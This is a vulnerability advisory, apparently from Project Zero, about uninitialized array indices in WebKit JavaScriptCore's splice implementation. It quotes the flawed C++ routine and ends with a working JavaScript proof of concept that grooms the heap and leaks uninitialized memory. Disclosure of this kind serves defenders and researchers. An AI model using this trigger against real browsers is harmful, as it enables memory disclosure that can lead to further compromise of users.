WebKit JSC – arrayProtoFuncSplice does not Initialize all Indices
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1218&desc=2 Here's a snippet of arrayProtoFuncSplice. EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec) { ... result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount); if (!result) return JSValue::encode(throwOutOfMemoryError(exec, scope)); for (unsigned k = 0; k < actualDeleteCount; ++k) { JSValue v = getProperty(exec, thisObj, k + actualStart); RETURN_IF_EXCEPTION(scope, encodedJSValue()); if (UNLIKELY(!v)) { continue; } result->initializeIndex(vm, k, v); } ... } |JSArray::tryCreateForInitializationPrivate| will return an uninitialized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|. PoC: --> function gc() { for (let i = 0; i < 0x10; i++) new ArrayBuffer(0x1000000); } Array.prototype.__defineGetter__(0x1000, () => 1); gc(); for (let i = 0; i < 0x100; i++) { new Array(0x100).fill(1234.5678); } gc(); print(new Array(0x100).splice(0)); |